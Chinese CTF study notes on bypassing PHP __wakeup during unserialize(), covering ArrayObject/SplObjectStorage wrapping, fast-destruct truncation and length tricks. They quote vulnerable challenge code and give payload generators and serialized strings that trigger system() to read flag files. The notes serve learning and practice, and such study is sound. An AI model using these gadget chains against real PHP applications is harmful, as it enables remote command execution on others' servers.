wake_up繞過(guò)
寫在前面:
參考文章:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#a0oue
https://fushuling.com/index.php/2023/03/11/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b8%adwakeup%e7%bb%95%e8%bf%87%e6%80%bb%e7%bb%93/#fast-destruct
https://www.cnblogs.com/APPPQRS/p/16862351.html
https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/
內(nèi)置類trick
ctfshow愚人杯 easy_web
class ctfshow{
? ?public function __wakeup(){
? ? ? ?die("not allowed!");
? ?}
? ?public function __destruct(){
? ? ? ?system($this->ctfshow);
? ?}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
? ?unserialize($data);
}
?>
有wakeup,php版本7.3,繞過(guò)難度較高
將O直接改為C可以繞過(guò)wakeup,但不攜帶屬性,只有一個(gè)ctfshow類,無(wú)法fastdestruct
可以使用內(nèi)置類ArrayObject,
將序列化對(duì)象封裝成array,再用ArrayObject 包裝array
就會(huì)出現(xiàn)C開(kāi)頭的可被反序列化的內(nèi)容,
payload:
class ctfshow{
public $ctfshow;
public function __construct(){
? ?$this->ctfshow='tac /f1*';
}
}
$a=new ctfshow();
$arr=['evil'=>$a];
$ar=new ArrayObject($arr);
echo urlencode(serialize($ar));
可用類:
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize
SplObjectStorage:
class ctfshow{
public $ctfshow;
public function __construct(){
? ?$this->ctfshow='tac /f1*';
}
}
$a=new ctfshow();
$arr=['evil'=>$a];
$ar=new SplObjectStorage($arr);
$ar->test=$arr;
echo urlencode(serialize($ar));
fast-destruct
在PHP中如果單獨(dú)執(zhí)行unserialize()函數(shù),則反序列化后得到的生命周期僅限于這個(gè)函數(shù)執(zhí)行的生命周期,在執(zhí)行完unserialize()函數(shù)時(shí)就會(huì)執(zhí)行__destruct()方法
而如果將unserialize()函數(shù)執(zhí)行后得到的字符串賦值給了一個(gè)變量,則反序列化的對(duì)象的生命周期就會(huì)變長(zhǎng),會(huì)一直到對(duì)象被銷毀才執(zhí)行析構(gòu)方法
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
? ?private $cmd;
? ?private $content;
? ?public function __construct($cmd, $content)
? ?{
? ? ? ?$this->cmd = $cmd;
? ? ? ?$this->content = $content;
? ?}
? ?public function __invoke()
? ?{
? ? ? ?call_user_func($this->cmd, $this->content);
? ?}
? ?public function __wakeup()
? ?{
? ? ? ?$this->cmd = "";
? ? ? ?die("Go listen to Jay Chou's secret-code! Really nice");
? ?}
}
class show
{
? ?public $ctf;
? ?public $time = "Two and a half years";
? ?public function __construct($ctf)
? ?{
? ? ? ?$this->ctf = $ctf;
? ?}
? ?public function __toString()
? ?{
? ? ? ?return $this->ctf->show();
? ?}
? ?public function show(): string
? ?{
? ? ? ?return $this->ctf . ": Duration of practice: " . $this->time;
? ?}
}
class sorry
{
? ?private $name;
? ?private $password;
? ?public $hint = "hint is depend on you";
? ?public $key;
? ?public function __construct($name, $password)
? ?{
? ? ? ?$this->name = $name;
? ? ? ?$this->password = $password;
? ?}
? ?public function __sleep()
? ?{
? ? ? ?$this->hint = new secret_code();
? ?}
? ?public function __get($name)
? ?{
? ? ? ?$name = $this->key;
? ? ? ?$name();
? ?}
? ?public function __destruct()
? ?{
? ? ? ?if ($this->password == $this->name) {
? ? ? ? ? ?echo $this->hint;
? ? ? ?} else if ($this->name = "jay") {
? ? ? ? ? ?secret_code::secret();
? ? ? ?} else {
? ? ? ? ? ?echo "This is our code";
? ? ? ?}
? ?}
? ?public function getPassword()
? ?{
? ? ? ?return $this->password;
? ?}
? ?public function setPassword($password): void
? ?{
? ? ? ?$this->password = $password;
? ?}
}
class secret_code
{
? ?protected $code;
? ?public static function secret()
? ?{
? ? ? ?include_once "hint.php";
? ? ? ?hint();
? ?}
? ?public function __call($name, $arguments)
? ?{
? ? ? ?$num = $name;
? ? ? ?$this->$num();
? ?}
? ?private function show()
? ?{
? ? ? ?return $this->code->secret;
? ?}
}
if (isset($_GET['pop'])) {
? ?$a = unserialize($_GET['pop']);
? ?$a->setPassword(md5(mt_rand()));
} else {
? ?$a = new show("Ctfer");
? ?echo $a->show();
}
payload:
<?php
class sorry
{
? public $name;
? ?public $password;
? ?public $key;
? ?public $hint;
}
class show
{
? ?public $ctf;
}
class secret_code
{
? ?public $code;
}
class fine
{
? ?public $cmd;
? ?public $content;
? ?public function __construct()
? ?{
? ? ? ?$this->cmd = 'system';
? ? ? ?$this->content = ' /';
? ?}
}
$a=new sorry();
$b=new show();
$c=new secret_code();
$d=new fine();
$a->hint=$b;
$b->ctf=$c;
$e=new sorry();
$e->hint=$d;
$c->code=$e;
$e->key=$d;
echo (serialize($a));
//O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:2:" /";}s:4:"hint";r:10;}}}}
在payload最后的}去掉,是的成員得到反序列化后強(qiáng)行退出反序列化,提前執(zhí)行destruct或在最后添加1
字符串長(zhǎng)度錯(cuò)誤
<?php
highlight_file(__FILE__);
class A
{
? ?public $info;
? ?private $end = "1";
? ?public function __destruct()
? ?{
? ? ? ?$this->info->func();
? ? ? ?echo "des";
? ?}
}
class B
{
? ?public $znd;
? ?public function __wakeup()
? ?{
? ? ? ?$this->znd = "exit();";
? ? ? ?echo '__wakeup';
? ?}
? ?
? ?public function __call($method, $args)
? ?{
? ? ? ?echo "__call ";
? ?}
}
if(isset($_POST['pop'])){
? ?@unserialize($_POST['pop']);
}
<?php
class A
{
? ?public $info;
? ?private $end = "1";
? ?public function __destruct()
? ?{
? ?}
}
class B
{
? ?public $znd;
? ?public function __wakeup()
? ?{
? ?}
? ?
? ?public function __call($method, $args)
? ?{
? ?}
}
$test=new A();
$test->info=new B();
echo serialize($test);
#O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"Aend";s:1:"1";}